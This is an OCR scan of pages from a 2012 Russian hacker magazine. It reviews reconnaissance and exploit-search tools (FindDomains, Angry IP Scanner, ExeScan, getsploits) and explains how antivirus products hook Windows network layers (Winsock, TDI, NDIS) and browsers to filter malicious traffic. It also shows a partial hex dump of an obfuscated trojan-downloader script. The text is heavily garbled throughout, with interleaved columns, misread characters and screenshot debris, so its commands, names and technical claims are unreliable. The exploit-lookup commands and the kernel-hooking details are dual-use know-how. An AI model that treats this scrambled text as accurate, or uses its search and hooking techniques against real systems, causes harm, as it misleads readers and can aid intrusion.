binged.it/6Acg5 , а nолученный ID н еобхо дим о в ставить в файл appid . txt, находящийся в корне папки про­

сайтов и виртуальных хостов, кото­

граммы.

рые могут быть расположены как на

Некоторыеособенности утилиты :

поисковый механизм, nредназначен­

l1ttp: / /\·H·H·J.google .e s http://www.ene~gyho s ting.nl

http: / /t·l\·1\·l.google. по

http://bite - network.com http://!-l\·m. m pЗ - do<-mload s .

ПОИСК СОСЕДЕЙ САЙТА ВМЕСТЕ С FINDDOMAINS

tu

одном, так и на соседних IР-адресах

работае т с nервой 1000 результа­

!это расширит список потенциаль-

тов поиска Bing;

но уязвимых мест жертвы). Так как

помимо Б инга получает доменные

http://www.google.cz http://www.google.co.za http://google .lt http: //google. s k http: //google .g>•

FindDomains работает в консоли, ты

имена с п омощью DNS;

легко сможешь встроить ее в свою

работает в многопоточном режиме;

пен т естерскую автоматизированную

прекрасно работает с Mono.

http: // www.google.f~

систему .

J1ttp : / /!-1!-1\·l.google .n 1

Утилита использует движок Bing'a,

П ользоваться утилитой очень просто:

поэт ому для работы будет необхо-

FindDomains.exe www.goog l e.com

l1ttp :/ /\-J\·1\·I.google .coA.Lta ltttn:/ /esb .iet"a. huet"нae. dk

. f.l<tfJIM 8 иuttl10i

1"'•1

8 «:-<ttllN

(N t l

Ав тор :

Ав т ор:

Автор :

Anton Kek s UR L: angry ip.o rg

The SX Team URL: bit. ly/ihELsw

sЗmyOn

Си сте м а:

Сист е ма :

С и сте м а :

' nix/win/mac

Win dows

"'nix/win

URL: b it . l y/w87Yuд

8 иJ•ttJtt7 8 иuttl101

...... ~ICttot ...

<""'

8 ffJ<t"1"

Иmо

• •• , . ,flllf 8 "и'flll}

1"'•1

• ·•1•tti11J

""'"

.о ... ,

8 ftJ<ItfiiH

!No\

!IU't!

6 ANGRY IP SCANNER- СЕТИ

ПОД

ИЩЕМ АНОМАЛИИ В РЕ-ФАЙЛАХ

КОНТРОЛЕМ

ЮЗАЕМ БАЗУ

EXPLOIT-DB.COM

ИЗ КОМАНДНОЙ СТРОКИ

Для усложнения задачи реверсера различные Если твоя повседневная работа связана

пакеры и протекторы модифицируют заголов ­

Е сли ты являешься заядлым консольщиком,

с сетя ми и их безопасностью, то наверняка

ки РЕ-файлов. Иногда аномалии в заголовк ах

то наверняка каждый раз в поисках экс­

ты должен знать о такой культовой програм­

могут уронить различные дебаггинг-тулзы

nлойтов тебе было лениво открывать браузер

ме как Angгy IP Scanneг !или просто ipscan).

и другие GUI-анализаторы, затруднив таким

и залази т ь н а exp l o1t-db.com . С появлением

Данный кроссплатформенный и опенсорс­

образом процесс изучения исполня емого фай­

утилиты getsploits !кс тати, написана она на

ный сканер прежде всего nредназначен для

ла. В таких случаях тебе поможет Ex eSc an-

Питоне) необходимость в этом отпалаl Данная

сканирования диапазонов I Р-адресов в сети

скрипт на Python'e, специально предназначен­

тулза может иск ат ь определенные сплойты/

и соответствующих им открытых портов.

ный для в ы явления таких аномалий. Утилита

шелл-коды/описания сплойтов с помощью

Прога просто пингует каж д ы й айп и шник

быстро сканирует выбранный исnолняемый

нескольких nоисковых оnций, а затем выво ­

на проверку его жизнесnособ н ости, затем

файл и об н аруживает все виды возможных

дить описания и лин к и для всего найденного

опционально получает имя хост а, М АС - адрес,

а н ома л ий в его заголовках. Обнаружение

стаффа.

список открытых портов и так далее .

п роисходит с помощью nодсчета контрольной

Кстати, с помощью плагинов !которые ты сам можешь написать на javal вnолне реально н е­

сумм ы , размера различных полей в заголовке ,

хи ло расширить список получаемых данных .

размера сырых данных, выявления имен

non-

ascii/пycтыx секций и так дале е.

Также в сканере присутствует целый ряд приятных фич вроде получения NеtВIОS­

Основные опции утилиты :

о: вывод результа т ов в файл;

q: «тихий » режим работы; h: по казать экран помощи .

Функционал скрип т а :

информации !имя компьютера, рабочая груnпа

ав т о м атизация поиска аномалий в РЕ;

Опции поиска :

и имя текущего Windows-юзepal, определения

опреде л ен и е сигнатур компиляторов и па­

--au t hoг:- автор эксплойта;

веб-сервера, сохранения результатов скани­

керов;

рования в CSV-, ТХТ- и XM L- фо рм аты.

с к анирование AP I д л я известной ма лв а р и;

Чтобы начать процесс скана, необходимо

отображение заголовка Р Е и таблицы им­

nросто вбить желаемый диапазон адресов

п орта;

--plat f oгm:- платфо рм а ! в ыбор из 47 nунктовl; --type: ти п сплойта --osvdb: ОSV D В-идентификатор сnлойта; --cve: СVЕ-идентификатор сплойта.

!нап ример, от 192.168.0.1 до 192.168.0.255)

н ативная nод д ержка генерации различных

в соотве тствующие окна или применить

отчетов.

Примеры поиска различных эксплойтов :

опцию их случайной генерации, а затем на­

Д ля использования сканера тебе н еобхо­

getsploits.py -о l inu x_shel l code.txt - -type shellcode gets ploits . py - о freeb sd_x86-64_local. txt - -pl atform 10 gets pl oi t s .py --a ut hor maxe v bull et i n

жать на кнопку старта. В результате начнется

дима питоновекая библиотека PEFile от Эра

многопоточный nроцесс скана, результаты

К а р реры . Н айти ее ты также сможеш ь на на­

которого ты сможешь наблю д ать прямо у себя

шем диске. П р имер заnуска сканера: exesca n .

на экране.

РУ

Х АКЕР

-а

<path t o

е хе

fil e .

073

04/1 59/201 2

www.epidemz.net

MALWARE

Евгений Дроботун ldгobotunГclxakep.rul

s -· L Что у нас осталось? Дай-

к а вспомнить. А, вот что :

s m s u

к онтроль сетевого трафика и противодействие drive-by

з агрузкам, а также способы з апуска подозрительны х

приложений в изолированной и контролируемой среде

[им е нно так правильно раскрывается понятие

« nесочница » ]. Разберем все это прямо сейчас!

ОСЛЕЕJ. ЯЯ СТ ЬЯ УСТРОИСТВЕ АВ РОВ:

МОНИТОРИНГСЕТЕВОЙ

АКТИВНОСТИ И ПЕСОЧНИЦЫ ХАКЕР

07~

www.epidemz.net

04/159/2012

С антивируса ми покончено!

Общие

Проверка подлинности

l~--------------------------~

Се1Ъ

Дополнительно

Подключение через :

Подключение чере з:

1Щ1 AMD PCNET семейство PCI Ethern

~

1 Н астроить...

QТh1еченные компонен ты исnольз)'IОТСЯ эn1м подключением :

л

-

J

~Ю ~ L.лужоа .аt1ступа к q;>аилам и принrерам сетей Micr<

~ ~ План1~оовшик пакетов OoS

v

<

>

1 Уствновить... 1 1L.._--'!далить 11 = - - - - -- J

Своf!ства

находится библиотека

ws_32.dll,

в которой

реализованы функции Wiпsock [send, гесv,

r/!1 Кaspersky Antr-Virus NDIS 6 Rier

conпect и так далее!. Большинство приложе­

U

~'

ний взаимодействует с внешним миром [то

r uaroox onogeo

rче worкrng

] vnver

~ ...._ Протокол Интернета версии 6 ~

..&.

СР 11Pv6)

Протокол Интернета sерс~1и 4 (ТС Р/1Рv4}

Позвол~ет данному комnь ютеру получать доступ к

1 Устgнови1Ъ... 1 L[_ _"laa ="-""'_:_---'1 1 Сво~стеа Оnисание По3е оnяет аанном)' компьютеру получать дОСТ)'П к ресурсам в сети Mtcrosoft .

~ УведОМlJЯТЬ nри ограниченном или отсутствующем

есть с Сетью! именно через эту библиотеку, перехватив вызовы функций которой, можно легко посмотреть все, что эти приложения

отправляют в Сеть или принимают из нее.

"'

Microsoft.

~ flpи подключении вывести значок в области уведомлений

можно представить в виде не­

скольких уровней. На самом верхнем уровне

0

~ ~ Планировшик пакетов OoS ~ ~Сл;-жба дОСТ','Па к Файлам и nринтерам сетей Micrc

Описание ре сурсам в сети

Windows Настрои ть ...

,!;омпоненrы, используемые этим по.о.ключением :

[ ~- ~ avast! Firewall NOIS Filter Driver

роще н но модель сетевой подсистемы

VirtuaiBox Host.Qn~· Bhemet Adapter

подключении

Когда-то давно некоторые брандмауэры и другие системы защит так и поступали, но в настоящее время так уже никто не делает, поскольку, во - первых, зловредные приложе­

ния могут работать в обход

11

ws_32.dll,

вызывая

функции более низких уровней, а во вторых,

NDIS-фильтры , устан овл енные в системе Avast 'oм и <~ Касперским »

большая часть сетевого трафика также может проходить на более низком уровне.

lil

Ниже

ws _32 .d ll находится драйвер afd.sys

о мнению операционной системы от

ч то удовлетворяет заданным условиям, про­

Майкрософт, файлы из интернета

пускается, остальное- блокируется [с экран­

[ Ancillaгy Funct i oп Driveг for WiпSock- вспо­

могут быть полезны. А еще они могут

ным предупреждением или без н его, с записью

могательный служеб ны й драйвер!, в котором

быть вредны . И для того, чтобы отделить

в журнал событий или без- в зависимости от

как раз и реализованы все функции работы

первый тип файлов от второго, рядовой юзер

настроек компонента сетевой защиты!.

с соке там и [создание сокетов, установка

сое динения и так далее!. Можно сказать, что

использует антивирус. А как современные

И опять мы вышли на ту сам ую - нашу

антивирусные средства определяют «бла­

любимую :1-двухкомпонентн ую схему анти­

ws_3 2.d ll

гонадежность» того, что идет из сети? Как

вирусной защиты из самой перв ой с татьи. Есть

невую обертку над

различные системы защиты могут проконтро­

не что, что «сидит» на всех возможных путях

то между

лиров ать и остановить трафик, порождаемый

сетевого трафика в компьютер е и перехваты­

и

вредо носными программами?

вает этот трафик, а есть нечто, что анализирует

межуточной обертки. Н екоторые брандмауэры

этот трафик и принимает р е ше ние о дальней­

<<са дятся>> на эту библиотеку с целью филь­

чала необходимо определиться с некоторыми

ших действиях. Эти два <<неч т о>> и являются

трации трафика, но эффективность такого

основными вещами. Прежде всего, понять, чем

технической и аналитиче ской соста вляющими

ре шения оставляет желать лучшего, поскольку

является компонент антивирусной защиты, от­

компонента антивирусной защиты, ответ­

в ре даносы могут запросто обратиться напря­

ветственный за безопасность взаимодействия

ственного за сетевую безопасность.

мую к

Чтобы ответить на эти вопросы, для на-

Аналитическая составляющ ая в своих

с се тью. Это не что иное, как фильтр, который

представляет собой высокоуров­

afd.sys. Если быть точнее, afd.sys и ws_32.dll находится еще msafd.dll в качестве так называемой про­

afd.sys,

а то и вообще мимо всех со кетов .

Опуст ившись еще ниже, можно увидеть

находится между приложениями и сетевыми

действиях опирается на сигнатуры и эвристи­

драйвер

компонентами о перационной системы, решая,

ческий поиск: шаблоны, правила, весовые ко­

ЧТО МОЖНО, а ЧТО НеЛЬЗЯ. Для ЭТОГО ОН ПрОИЗВО­

эффиц иенты- все то, что мы уже << проходили>>

протокол tcp/ip. Это так называемый уровень транспортного [или сетевого! протокола TDI [Тгапsрогt Data lпteгface- интерфейс пере­ дачи данных!. Здесь также можно найти,

tcpip.sys,

в котором реализован

ДИТ внедрение указанного фильтра в ключевые

ранее. А вот о том, что касается тех нической

места взаимодействия приложений и сети, осу­

составляющей, - той само й, кото рая должна

ществляя анализ всего трафика на предмет со­

перехватывать трафик на все х возможных

например, пwlпkipx.sys, реализующий про­

отве т с твия определенному набору правил. Все,

путях,- мы поговорим более подробно.

токол

ipx.

Для фильтрации трафика на этом

f4e5e(tn9'1~

Jt Diш~ ] ~ OeЬuoYitw ]tJ' S'rSWOS..W:eDI!fЩ)tOI'i~ ] il' ~I'SI:ernStr<UDtw\:МfT.Ы.Shmw ] Q

тne: .. nJP~DeюoiiiOtT.Ы.

.:),

~•IIIIМDdfktt!Onl !

-------- ------ ------------- -- ----- ----- ----------------------------------

; Ndi installation support

-------------------------------------------------------------------------

""""'~

''"""" Oxf83Мl'\C

1~1~ :;

ах~'~

IATМodkeUon :;., IAT~ ;:. IA1Мod{QW1 ;:,_,

O>:I'O'!Dme

D>:F8'S96780

DFfAS9110 !)fi'AS9110 DI'F/159110 OFH59110

6031DOel 6037DOeJ 603JD081

D.<IIOSIII'AU•:C:\WJNXJWS\oyot....nyc............. [PAQ:):Joer..t~ Oxti059fAOI'::C:\W~Jytt~ ... exe[P~o;;;fj:JQCrutt()r;(o 0d059FAU::C:\W~Ofi·t ...ц,[Pдo;;;f]:JQC/o.Ce0rt!Co 1)(8()5\IFIOI' :: C:\W!IOOWS\rntetl'l32\rii:OI»... U1[P.:.GE] :It:IIЛ~.O.VO:.

ОхFезпоо \...CC:..c:.:...::..::..__ _ ,.,__.:..c.c '_:_''n:-,~ ,-'::~-',:::'~:.,.-:-;:c,':..:.~:..c~~'.-,-''::"" -" ••-'.,':-';:.~-' - ~P< ..:. '':c:.=:-.-"""-'"'""""""' -=="..:.·'..:. " :... '"="1-=T...: ""-'-"-'-'--'.J

1

КernciDctccllwv12

*

f ..

dweng(neexe

Se(~~

o-Иiftllet j ~ DtW;Yiew ]<7 SVStttnSen1ceo.sщ.tOtT~ j j> S\"SS:It!ISen-i<•DI!wdot r.ы.~ j Q IN:wn.fi:Diшt«ori.Ы. J} ~l!lne!мodticatioriS 1

[rns t_Ndi] HKR, Ndi, servi се,, "KLIM б" HKR, Ndi ,coser vi ces , OxOOOlOOOO, "KLI Mб"

Зн~ч~ни~ F il t~rC i llss оnред~л ;~ ет nолож~ ни~ '~груж.,~мого Qильтрi!l е очереди. ее его

нкR, ~m·~~~~~~~ii~~~;q можетбь1тьеосемь3н.,ченL1й.

HKR, HKR, HKR, HKR, HKR, HKR, HKR, Ndi . ~ i1terRunтype, Ох00010001, 2 HKLM, sys t em\ Cur г entcontгo 1set \ Sec vi ces \ KLl

ndiS\'lan, ndis\·Janas "klimб"

~~~~~бs~; ~:~~~~; ~~~tCOI1tГO 1 Set \Seгvi ces \ Kll, ------------------------------------------; ser vice insta11ation support Кerne1Drtectlvev12

*

Fle

~lir>Oo

WU411Cite.c

[rnst а 1 1. servi ces]

~

О!и!:~ ~ ~ OetiuQV..... ] (/'\ Syot.m58Мr:e[)eJЩ(O'T~ ~

0.'' ~Vhi'ISIМ:IDeюfr>tct' Tibll!~ ~ 0

Adds er v ice=K L IMб, , K L IMб_s e rvic e_rnst

!ШtrЩDeюdOtl.tlll

[KLit-1б_se г v i

Значение F ilt ~rType оnределя~т тиn Фильтра , е данном ел~ а е Ох00000002 говорит о том, что

дpailsep модиQицирующий

ce_rns t ] Di sp1 ayName - %KLI,..1б_Desc% Servi се туре .. 1 ; SERVICE: _KERNEL _DR IVER Startтype "" 1 ; SERVICE: _SYST E:M_START

П е ре хва ты из

ce Object

ХАКЕР

loCreateDevice в << Касперском >> и DrWeb, пере х ват TdiRegisterDevi-

Часть содержимого iпf-файла драйвера фильтра

tdi.sys в

Касперского »

« Касперс к ом » шестой и седьмой версий

klim6.sys из состава << Антивируса

075

04/159/2012

www.epidemz.net

MALWARE KerпeiDetectivev1.2::VBoxTray• File

Settings

Help

~ DisassemЬier 1 ~

Debug View

1С?

ТаЬiе 161'

System Service Descriptor

System Service Descriptor

ТаЬiе Shadow 1,:;;;.

1Len 1 state

Address

5 5

Ox8052D903 Ox8052DF74 Ox80534DM

ТаЬiе Ь

Kernel ~lodifications

1

1 Current Value 1 Original Value \ Dist ination Module Е 97058 4 ...

Relative Jump :: jmp OxF69D3 178 Relative Jump :: jmp OxF69E8650

Е9

D7

Аб

4 ...

се

OxF7525DЗ4

ЕАТ ~lodification:: OxF751261E

OxF7525DCC

ЕАТ Modification:: OxF75127FD

-> NDJS.SYS (PAGENPNP] ::NdisCioseAdapter

Е?

02 02 ЕВ 02 Е7 02

·> NDJS.SYS [PAGENPNP] ::NdisDeregisterProtocol OxF7508397 ·> NDJS.SYS (PAGENPNP]::NdisOpenAdapter

ЕАТ ~lodification:: ЕАТ ~lodification :: OxF750817D

Е7

·> NDIS.SYS (PAGENPNP]::NdisRegisterProtocol ~-

1 ·.

Settings

Interrupt Descriptor

--~

~---

00 00 00 00

FA 8B450 ... FA66837 ... FA

OxF69D3178::0xF69E8650 :: -

1Е260100

OxF752E750 :: OxF752E7FO:: OxF752E820 :: OxF752E7BO ::

FD 27 01 00 97 83 00 00 7D8 1 0000

inspect.sys [.text] inspect.sys [.text] inspect.sys [.text] inspect.sys [.text ]

-~~---~-~~--

~.'t.a!.-...,~: ...

~~

~

·--~

~

·

Help

~ DisassemЬier 1 ~

Debug View

1С?

Т аЬiе 1dJ'

System Service Descriptor

System Service Descriptor

Т аЬiе Shadow 1Q

Interrupt Descriptor

Т аЬiе

1

Kernel

~lodifications 1

Address

Distination Module

OxF8397F08 Ox804D8F94 ~~~~~~~~~~.~o~o~~~~.~~nm~~----~~----~----~--~--~~--~

OxF7 13AB04 :: С:\ WINDOWS\system32\drivers\afwcore. sys [ .1 OxF7804C78 :: • OxF77CF9CO :: •

Ох804D93Вб

Е9

Relative Jumo :: imo OxF77CF9CO

.. .

FA 8...

Пер ех ват NDIS-функций антиви русом от компании Comodo (вв е р х у! и в OutPo st Fir eWall Pro 7. 0 ! вни зу(

уровне необходимо перехватывать все вызовы

драйвер сетевой карты, поэтому антивирус или

с око, да и такой фильтр-ловушка может быть

к устройствам \Dev ice\Rawlp, \Device\Udp и\

брандмауэр, <<си дящий>> на NDIS-ypoвнe, пере­

установлен в системе все г о лишь один.

Device\Tcp [в случае работы по 1Pv6- \Device\ Rawlp6, \Device\Udp6, \Device\Tcp6 соот­

только проходит через компьютер .

хватывает практически весь трафик, который

ветственно]. Это достигается либо вызовом

В этом вопросе все известные а н тивирусы проявляют единодушие- чтут рекоменда­

Сегодня подавляющее большинство пра­

ции компании-прсизводителя операционных

вильных антивирусов контролируют трафик

систем и третий способ в своих продуктах

указателей таблицы диспетчеризации, либо

именно на этом уровне. Существует по мень­

не применяют [хотя, говорят, встречаются

перехватом loCгeateDevice до инициализа­

шей мере три более или менее документиро­

производител и, которые эти рекомендации

ции этих устройств, чтобы в дальнейшем

ванных и легальных способа проделать зто.

игнорируют, но мне что-то такие антивирусы

полностью их контролировать. Некоторые из

Первый способ !самый легальный из всех и ре ­

и брандмауэры не попадалисьl.

антивирусов именно так и поступают. Напри­

комендованный Microsoft к использовани ю]­

мер, ранний « КасперскиЙ>> перехватывал эту

это так называемый

функцию путем модификации таблиц импорта

[пр омежуточный драйвер NDIS]. Вт орой способ

применяют либо только первый, либо первый

в нужных драйверах, так же делает Dг.Web,

[его еще иногда называют <<nсевдопроме жу­

в сочетании со вторым, и лишь некоторые до­

изменяя таблицу им п орта в драйвере

точный драйвер>>] есть не что иное, как пере­

вольствуются только вторым.

loAttachDevice,

sys.

либо прямой модификацией

tcpip.

Для этих же целей <<КасперскиЙ>> шес т ой

и седьмой версий перехватывал функцию

TdiRegisterDeviceObject

из

tdi.sys,

модифици­

lnteгmediate

хват некоторых функций из

Driver

ndis.sys. Третий

способ- Filter Hook Driver [драйвер фильтра ловушки] представляет собой обычный kernel-

руятаблицуэкспортаэтогодрайвера.

mode

драйвер, который фильтрует сетевые

пакеты на уровне

Далее, еще ниже, находится драйвер под

названием NDIS [Network Driver lnterface

Specification-

NDIS

IP. Microso ft

категорически

не рекомендует использовать этот способ

Промежуточные N ОIS-драйверы в антиви­ русных программах могут быть двух видов: не­

посредственно промежуточный драйвер - как правило, в

Windows ХР,

так как других там и не

предусмотрено [NDIS версии

51,

и драйвер­

фильтр- эта разновидность промежуточных

в средствах контроля трафика и антивирусной

NОIS-драйверов появилась начиная с

защиты. Этот драйвер ставится слишком вы-

Vista [NDISвepcии

спецификация интерфейса

сетевых драйверов]. Ниже него -только

Что касается оставшихся первых двух

способов, то подавляющее большинство

Windows

61.

Остановимся на различиях промежуточных драйверов и драйверов-фильтров. Итак, когда трафик движется в сеть, то есть от протокола

Управл е ние надстройками

к сетевой карте, он проходит через очередь

пользовательских драйверов, которую сфор ­ Просмотр и управление надстройками. установленными на этом компьютере . Отключение или удаление надстроек может наруши-rь работу некоторых веб-страниu .

мировал

NDIS.

Внутри этой очереди распола­

гаются промежуточные драйверы, которые выстраиваются в очередь по неизвестному

Qтобража-rь : [ Надстройки. загруженные в lntemet Explorer Имя Разрешено

~

Издатель

алгоритму, однако спецификация гарантирует,

·] " Состояние

что трафик пройдет через каждый драйвер Ти п

(5)

в этой очереди. Промежуточный драйвер пред­ ставляет собой обманку: <<сверху>>, то есть для драйверов, которые располагаются над ним,

Research

Разрешено

Расширеf

он выглядит как минипорт [хотя настоящие минипорты еще далеко внизу], а «снизу»- как

~ Виртуальная клавиатура

Kaspersky Lab

Разрешено

Расширеf

~ Проверка ссылок

Kaspersky Lab

Разрешено

Расширеf

В свою очередь драйвер-фильтр - это

~

Fi lterBHO Class

Kaspersky Lab

Разрешено

Объект м •

драйвер, который располагается также на

~

IEVkbd BHO Class

Kaspersky Lab

Разрешено

Объект м •

протокол [хотя протоколы далеко вверху] .

пути следования трафика от сетевой карты до протоколов, однако конкретное его местополо­

жение в очереди определяется настройками, Модули ВНО от « Антивируса Kacnepcкora» в

lnternet

содержащимися в inf-файле зто го драйвера-

Е х рlог ег

ХАКЕР

076

www.epidemz.net

04/159/2012

С антивир ус ами п окончено!

фильтра. П о мим о месторасположения драйвера-фильтра в iпf-файле указывается еще и тип этого др ай в е ра: драйвер-монит ор, дающий возможность только nросматривать

трафик, или драйвер-модификатор, допускаю­ щий еще и модификацию трафика. Дум аю, понятно, что второй тип в антивирусах исполь­

зуетс я гораздо чаще, чем п ерв ы й. Другая возможнос т ь контролировать

ПЕРЕХВАТИВ ЭТИ ФУНКЦИИ, МЫ СМОЖЕМ КОНТРОЛИРОВАТЬ ПРОЦЕСС ИНИЦИАЛИЗАЦИИ ВСЕХ СЕТЕВЫХ

СОЕДИНЕНИЙ, А В ИТОГЕ- ВЕСЬ ТРАФИК

трафик на NDIS-ypoвнe- это, как мы уже гово рили, перехват некоторых функций

из NDIS-дp aйвepa. Из всего многообразия

на них! гораздо целесообразнее и проще осу ­

ссылки, которые, равно как и со держим ое

функций, экспортируемых этим драйвером,

ществлять непосредственно в самом браузере.

адресной строки, необходи м о о т слежи вать

наиболее подходящи ми для данных целей

Для этого многими антивирусными продук­

и контролировать. Помимо вредоносных

будут Ndi sOpenAdapteг и NdisR egisteгPгotocol.

тами используется возможность наращивать

ссылок, в содержимом веб - с траниц могут быть вредоносные Jаvа-скрип т ы, для распознава­

П е р ехватив эти функции, мы сможем контро­

функциональность браузеров посредством

лировать процесс инициализации всех сетевых

расширений. Чаще всего используются ВНО

ния которых на помощь о пять-таки приходят

сое динений, а в итоге- весь трафик , про­

антивирусные базы с с и гнатура ми.

ходящий через эти сое дин е ния. Так поступает,

IBгowseг Н еlрег Object- модуль поддержки браузераl . Модули ВНО реализуются в виде

например, ан ти вирус от компании

dll-библиотек, которые дополняют lnteгnet

няемую базу сиг н атур вредоносных скриnтое

Comodo,

В общем, имея хо р ошую и регулярно попол­

который помимо установки промежуточного

Ехр l огег. Как правило, объекты ВНО не имеют

и ссылок на вредоносные сай ты , м ожно д о­

NDIS-дpaйвepa еще и перехватывает функ-

собст венного пользовательского интерфейса

статочно успешно отсеиват ь почти всю заразу,

ции Ndi sDpenAdapteг, Nd is Reg isteг P гo toco l,

и су щ ествуют в виде простой библиотеки, ко­

которая может встрети т ься в сети. Почт и

NdisCioseAdapteг и Nd isDeгegisteгPгo to col.

торую браузер подгружает nри старте. Сп е ктр

всю- nотому что какой-нибудь свеженький

Н екоторые системы защиты интернет-

возможного применения ВНО огромен - от мо­

скрипт, которого нет в базе, будет наверняка

трафика довольствуются перехватом только

дуля, который отслеживает вводимые в адрес­

пропущен и с делает свое черное д ело. Б олее

NdisOpenAdapteг, который позволяет отследить

ную строку данные, до подмены содержимого

того, даже самый с т арый с крипт, который есть

уста новку и инициализацию сетевых адапте­

веб-страниц и перенаправления запросов.

ров в с и стеме. Самое гл авное nри использова­

Чт о может сделать с содержимым, к при­

во всех антивирусных базах, можно за пр ос т о зашифровать или обсфусц ировать по-новому,

нии такого рода перехватов функций- успеть

меру, адресной строки антивирус, перехва­

перехват и ть их раньше, чем произойд ет иници­

тивший посредством ВНО данные из lnteгпet

може т пройти мимо всех препон, выстав ­

ализация какого-нибудь се т е вого соединения,

Ехр lо гег 'а? В о -п ервых, nрогнать э тот адрес по

ленных антивирусн ыми ска н е р а ми сетевого

иначе контролировать его уже не пол учится .

своей базе вредоносных ссылок и заблоки­

трафика.

ровать вывод страницы в случае наличия за­

-и вот он уже и не такой с тарый, и запросто

Поэтому на помощь приходят эврист ик а

прашиваемой ссылки в этой базе. Во-вторых,

и динамический анализ ко д а [ то ест ь его ана­

можно обратиться к различным облачным ре­

лиз во время исполнения!. К примеру, при ана­

сурсам [собственным или посторонним! и, в за­

лизе html-кoдa антивирусы смотрят на пара ме­

y poвнe, можно было бы на э т о м и успокоиться.

висимости от наличия этой ссылки в их базах

тры, используемые тегом if г ame !напомню,

Но все же контроль за со д е ржимым адресной

или на основе различн ых рейтинговых оценок,

этот тег в тексте страницы часто используется

строки браузера, веб-страни ц и jаvа - скриптов

предупредить пользователя о nотенциа льно й

для н ев идимой инеконтролируемой загрузки

[а ответс тв ен но сть за распространение

вредоносности посещаем ой страницы.

вредоносных объектов!. Если эти параметры

нечно, перехватив весь трафик на

ND IS-

вре д онос н ых программ посредством dгive-by за гру зо к в боль шин с тв е случаев лежит именно

'" '" ·~ ill..

li iil

'"'

т~

663 t"'",J0248) 6681"'-.898722 726 183.829SOf.i ~48 185.969SS1 762 186.0:270J .. -~- 187. 065:"28 Р8}8 7 .11.,."](

ООО!Ю

000.110 ОООЬО

000<:0 OOOdO оооео

OOOfO 00100 001 10 00120 00130 00140 00150 00160 001 70 00180 00190 ооао 001ЬО 001с0

001d0 OOleO OOlfO 00200 00210 00220 ооно

00240

0'1 IC2 ..

•

:,~t",....н,~.н.~

~~~~~. U

192.168.0.102 94.100.191.213 192.168.0.102 191.168.0.102 192.168.0.102 192.168.0.102

~ . 100 . 191.213

-~~~

ze

О•

бе п

73

Ze

ба

20 Zit. 20 68 74 ; .:

71 1S

бS 0&

бS

12 79

20 211.

О.а

2е

20

30 30 39 2d )0 32 2d

Jlo Н 31 20 2d 30 35 30 З1

39 20 415 CIS 62 69 73 69 28 66 75 бс Jd 7.:1 бS 72 79 1S бS 72 6е 28 45 77 20 бf 7d 2с 4.1 Sc 7} 29 Sb Sc 77 Se 3~ 23 6• 3d 6f 6t 69 74 29 7Ь 45 69 66 28 68 69 73 6е б 7 74 6S 78 11] 7d 69 22 13 74 44 2е 65 28 47 Sb

бS

76 2f о~ 61 72 20 ба Sl 75 2t 6~ 51 74 69 6f 20 бе 65 2С 46 29 28 2е 7с St 23 28 Se 2е Sb 6f 2е 66 3d 7 Ь 69 4S 2с 48 6е 74 ЭЬ 29 7 Ь 74 2t 6с 65 6f 6t 14 74 68 69 Jd 3d 3d 20 н зd 4 7 26 26 52

2~

~~~~ ~ ~~ ~~

12 ~~

20 32 6f 61! 6е 63 68 69 2с 70 79 3d 2с 46 2е бб

3d 2f 2Ь 3t 2d Sd Sc Sb 2t 70 3а 66 3d 45 45 2t Sb 30 68 3d Jd 45 66 28 72 69 78 6S 31 Sd

Непосредственно в самом соде ржимом

кажутся ему подозрительными !типа высота

веб-страницы тоже могут т аиться нехорошие

и ширина равны нулю или очень маленькие!,

• .LV<t

192.168.0.102 94.100.1""91.НЗ

9.1.100.191.213 94.100.191.212 21","],200.219

10 J;r,

zr zr

64

бt

63 7 3

63 б f бd 2f 4с 69 63 бS 2il 20 44 61 74 бS 3• 20 з; ];r, н s.: 68 7 S 2с 29 Оа 20 ~~ 32 з.: 36 О~ 6 е 28 29 7 Ь 2с 79 3d 6с

]1 39 20 )1

]4

30 20 28 зо зо 39 3~ 20 36 1-1 69 6f 73 2с 67 Jd 6с 2е N бс 2е 24 3d 29 7Ь 72 6S бе 2е 69 6е St Sb Se ]С 29 Sb Se )е 2Ь 29 24 2f Sc 2е 2с Sd 12 бf 7J. бf 1S 6е 63 74 7 с 7 с Ы 6f

20 20 20 76 21!

бе

бf Ы

2с

66 74 69 Sd Sd 2с

2~

74 69 63

б5 ~

5d 3d 4S 3Ь 31 3Ь 74 68 Jb 72 65 74 74 79 70 65 бе б7 22 29 63 за 4S 29 7 с 7 с 21 48

74 69 75 6f 7Ь

эь

29

6f 3d бс 75 бе 63 75 72 6е N 28 45 2~ 28 3С U 24 7 с 66 3d 2f 24 2f ЗЬ 79 10 65 бf бе 28 75 6d 65 79 70 65 68 69 73 7 3 2t f'Н 72 6е 20 66 20 45 76 6 1 12 69 66 28 29 7 Ь 69

~~ ~~ ~~ ~~ !~ ~~ ~~ ~~ ~~ ~~ ~~

Те кс т Jаvа- с крип т а в перехваченном httр-трафике

Обфусцированный вредоносный Jаvа-с к рипт под названи е м Trojaп-Dowпloader. Js . Ageпt .

ghd !понять, что он делает, довольно з атруднительно!

ХАКЕР

04/159/ 2012

077

www.epidemz.net

MALWARE

f.oh

l]poo..

ko

-

ISI4f>a-• '""''"'

[fJ&Of.O.DИ l1'11 .. NI · MI 1·(~1lf~ 1 1 FXI JI .r..I ~-IM(.U8 1-Canl\IKDI I

\fШ.t1<· 1o',..&.М.&I I •·f91< ~.01

~ Рц1

m.t · Wm0Ьg:6.12.0002.Ш Х86 Eol• idit ~""" I!Rug W\ndow ~tlp ~ '1 ! .:}1'1'• i'JU\lP1 1 '-'!~ IЫ~ CJEJ O:,ВIU1DD!!:![I)Ш д,. 11§

Про

NDIS мо ж но почитать на ~

[ FJOJН2~ - I IJ<·IIDI·I8r1 .(10(/Wf&ШUIJ ( llilcJ6C.4,ocO- IJ<I-IIIW1 «1•oOiltl~ l

..,.,

......,._.oci Catopfl

76fb8? o 790

ru/story/yyedenje-v-

nop

ntdllllltllot•IVChsngeMult~~~~m~~~mJ~~~~~~ 76fbB?oB е9•3о321106 ар SЫ. •D 11 1Sb !eD11 StortCOK+Ox1? 40 {7d242b90) 16fЬ87 •d Ьо. 000Э fе1f х. = ar se1· а ys e lt u rfeOЭO O )

~<~,-ж.... и О Ш<"Рt

(1 1\l <lbl>NcO • II<I·ЬIIIl.OOo.oolo~butJ ! !IIЩfJ.focO•il<l • !r6d!:/J!1ttOQb~ШI!

1

?6fbB?b2ff 12 c:all ?6fb8?M с:23000 ret 76fb87b790 nc:~p nt d lll ZvOpenD ~ rec;tgryOb]ec::t

dvcrdptr[otd x J

